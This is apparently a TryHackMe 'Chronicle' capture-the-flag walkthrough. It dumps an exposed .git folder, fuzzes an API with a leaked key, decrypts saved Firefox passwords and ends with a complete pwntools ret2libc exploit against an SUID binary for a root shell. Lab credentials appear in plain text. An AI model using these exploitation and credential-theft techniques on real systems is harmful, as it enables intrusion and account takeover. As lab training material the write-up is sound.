THM - Chronicle

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THM - Chronicle (good ret2libc lab)

NMAP

http://10.10.200.236/old/

gobuster dir -u http://10.10.200.236/old -w /usr/share/seclists/Discovery/Web-Content/big.txt | grep -v 302

Found .git

• Download .git:

wget --recursive http://10.10.200.236/old/.git/ --continue

or use (–mirror)

• Read .git files:

git status

git checkout -- .

or

git restore .

Got the deleted files

Nothing in them.

• Look at the logs and grep for key:

git log -p | grep "key"

http://10.10.200.236:8081/forgot

Open in Burp:

Try changing the key value:

Try the API key found in the git logs:

Get - “Invalid Username” this time - so the key works

• Try fuzzing the right user (API Fuzzing):

ffuf -w /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -X POST -d '{"key":"7454c262d0d5a3a0c0b678d6c0dbc7ef"}' -u http://10.10.200.236:8081/api/FUZZ -fw 2

{“username”:”tommy”,”password”:”DevMakesStuff01”}

Credentials to SSH:

cat user.txt

last

Two new IP’s: 192.168.29.217 192.168.166.1

But no network for those IP’s:

carlJ has a .mozilla directory

Copy directory to /tmp Copy the directory over to Kali:

wget http://10.10.200.236:8082/.mozilla/ --recursive --continue

• Use firefox_decrypt to get the password:

The second one requires a Primary Password to unlock the profile

Tried some simple passwords:

password1 worked

Username: ‘dev’

Password: ‘Pas$w0RD59247’

• su to carlJ

• Looking in mailing/ there seems to be an executable with SUID permissions (Buffer overflow?)

Seg fault on option 2:

• Check protections:

checksec smail

or

pwn checksec smail

No PIE, so the binary is not affected by ASLR

• Check if ASLR has been enabled on the system: ```bash cat /proc/sys/kernel/randomize_va_space

![image33](../resources/925c5815ee604527a4d8a7609ab32a9f.png)

**0 means NO**

- **Because ASLR is not enabled, we don't need a leak function to get the base address**
**Instead:**

- Getting libc and its base:

```bash
ldd smail

Gives the base address of libc (which can be trusted - because no ASLR)

Also, the base address should end in three 0’s - which it does:

0x7ffff79e2000

• Getting the location of system():

readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system

The -s flag tells readelf to search for symbols, for example functions

1403: 000000000004f550 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5

The offset of system from libc base is: 0x4f550

(system = libc_base + 0x4f550)

• Getting the location of /bin/sh:

Since /bin/sh is just a string, we can use strings on the dynamic library we just found with ldd.

Note that when passing strings as parameters you need to pass a pointer to the string,

not the hex representation of the string, because that’s how C expects it

strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh

-a tells it to scan the entire file

-t x tells it to output the offset in hex

/bin/sh address: 0x1b3e1a

• Because this is a 64bit arch:
  1. Instead of passing the parameter in after the return pointer, you will have to use a pop rdi; ret gadget to put it into the RDI register

ROPgadget --binary smail | grep rdi

ROPgadget lets you search your gadgets on a binary.

It supports several file formats and architectures and uses the Capstone disassembler for the search engine

pop rdi; ret address: 0x4007f3

1. Find the address of a return function:

objdump -d smail | grep ret

Return address: 0x400556

• Copy smail over to Kali

• chmod +x smail

• Open with gdb (gef)

gdb smail

pattern create (copy pattern)

r - To run

Copy pattern into signature

• Find the offset:

pattern search $rsp

• Create the payload (pwntools):

#!/usr/bin/python3

from pwn import *

p = process('./smail')

# Addresses (example: these would need to match your libc + binary setup)
libc_base = 0x7ffff79e2000
system = libc_base + 0x4f550
binsh = libc_base + 0x1b3e1a
POP_RDI = 0x4007f3  # pop rdi; ret gadget

# Create the payload
payload = b'A' * 72                   # Buffer overflow padding
payload += p64(0x400556)              # Optional stack alignment (ret)
payload += p64(POP_RDI)               # Gadget to control RDI
payload += p64(binsh)                 # "/bin/sh" address
payload += p64(system)                # system("/bin/sh")
payload += p64(0x0)                   # Optional return address

# Interact with the process
p.clean()
p.sendline("2")
p.sendline(payload)
p.interactive()

• Root shell!

• If you get the EOF message, check your addresses again to make sure they are correct